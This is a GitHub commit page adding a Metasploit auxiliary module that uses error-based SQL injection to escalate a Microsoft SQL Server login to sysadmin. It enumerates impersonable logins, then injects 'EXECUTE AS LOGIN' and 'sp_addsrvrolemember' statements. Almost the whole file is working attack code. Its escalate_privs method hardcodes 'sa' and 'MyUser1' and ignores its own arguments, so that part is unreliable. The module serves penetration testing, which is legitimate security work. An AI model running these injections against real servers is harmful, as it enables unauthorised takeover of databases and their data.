Skip to content

Commit 7058966

Browse files
committed
Really land the rapid7#4130 module
2 parents ae339cb + ece8013 commit 7058966

File tree

1 file changed

+201
-0
lines changed

1 file changed

+201
-0
lines changed
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL_SQLI
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server - SQLi Escalate Execute As',
17+
'Description' => %q{
18+
This module can be used escalate privileges if the IMPERSONATION privilege has been
19+
assigned to the user via error based SQL injection. In most cases this results in
20+
additional data access, but in some cases it can be used to gain sysadmin privileges.
21+
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
22+
},
23+
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
24+
'License' => MSF_LICENSE,
25+
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
26+
))
27+
end
28+
29+
def run
30+
# Get the database user name
31+
print_status("#{peer} - Grabbing the database user name...")
32+
db_user = get_username
33+
if db_user.nil?
34+
print_error("#{peer} - Unable to grab user name...")
35+
return
36+
else
37+
print_good("#{peer} - Database user: #{db_user}")
38+
end
39+
40+
# Grab sysadmin status
41+
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
42+
admin_status = check_sysadmin
43+
44+
if admin_status.nil?
45+
print_error("#{peer} - Couldn't retrieve user status, aborting...")
46+
return
47+
elsif admin_status == '1'
48+
print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
49+
return
50+
else
51+
print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
52+
end
53+
54+
# Get list of users that can be impersonated
55+
print_status("#{peer} - Enumerating a list of users that can be impersonated...")
56+
imp_user_list = check_imp_users
57+
if imp_user_list.nil? || imp_user_list.empty?
58+
print_error("#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.")
59+
return
60+
else
61+
# Display list of users that can be impersonated
62+
print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
63+
imp_user_list.each do |dbuser|
64+
print_status("#{peer} - #{dbuser}")
65+
end
66+
end
67+
68+
# Check if any of the users that can be impersonated are sysadmins
69+
print_status("#{peer} - Checking if any of them are sysadmins...")
70+
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
71+
if imp_user_sysadmin.nil?
72+
print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
73+
return
74+
end
75+
76+
# Attempt to escalate to sysadmin
77+
print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
78+
escalate_privs(imp_user_sysadmin,db_user)
79+
80+
admin_status = check_sysadmin
81+
if admin_status && admin_status == '1'
82+
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
83+
else
84+
print_error("#{peer} - Fail buckets, something went wrong.")
85+
end
86+
end
87+
88+
def get_username
89+
# Setup query to check for database username
90+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
91+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
92+
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
93+
94+
# Run query
95+
result = mssql_query(sql)
96+
97+
# Parse result
98+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
99+
user_name = $1
100+
else
101+
user_name = nil
102+
end
103+
104+
user_name
105+
end
106+
107+
def check_sysadmin
108+
# Setup query to check for sysadmin
109+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
110+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
111+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
112+
113+
# Run query
114+
result = mssql_query(sql)
115+
116+
# Parse result
117+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
118+
status = $1
119+
else
120+
status = nil
121+
end
122+
123+
status
124+
end
125+
126+
def check_imp_users
127+
# Setup query to check for trusted databases owned by sysadmins
128+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
129+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
130+
131+
# Setup query
132+
sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
133+
FROM sys.server_permissions a
134+
INNER JOIN sys.server_principals b
135+
ON a.grantor_principal_id = b.principal_id
136+
WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"
137+
138+
# Run query
139+
res = mssql_query(sql)
140+
141+
unless res && res.body
142+
return nil
143+
end
144+
145+
#Parse results
146+
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
147+
148+
if parsed_result && !parsed_result.empty?
149+
parsed_result.flatten!
150+
parsed_result.uniq!
151+
end
152+
153+
parsed_result
154+
end
155+
156+
def check_imp_sysadmin(imp_user_list)
157+
# Check if the user has the db_owner role is any databases
158+
imp_user_list.each do |imp_user|
159+
# Setup query
160+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
161+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
162+
163+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"
164+
165+
# Run query
166+
result = mssql_query(sql)
167+
168+
unless result && result.body
169+
next
170+
end
171+
172+
#Parse results
173+
parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
174+
175+
if parsed_result && !parsed_result.empty?
176+
parsed_result.flatten!
177+
parsed_result.uniq!
178+
end
179+
180+
# check if user is a sysadmin
181+
if parsed_result && parsed_result[0] == '1'
182+
print_good("#{peer} - #{imp_user} is a sysadmin!")
183+
return imp_user
184+
else
185+
print_status("#{peer} - #{imp_user} is NOT a sysadmin")
186+
end
187+
end
188+
189+
nil
190+
end
191+
192+
# Attempt to escalate privileges
193+
def escalate_privs(imp_user,db_user)
194+
195+
# Setup Query - Impersonate the first sysadmin user on the list
196+
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
197+
198+
# Execute Query
199+
mssql_query(evil_sql)
200+
end
201+
end

0 commit comments

Comments
 (0)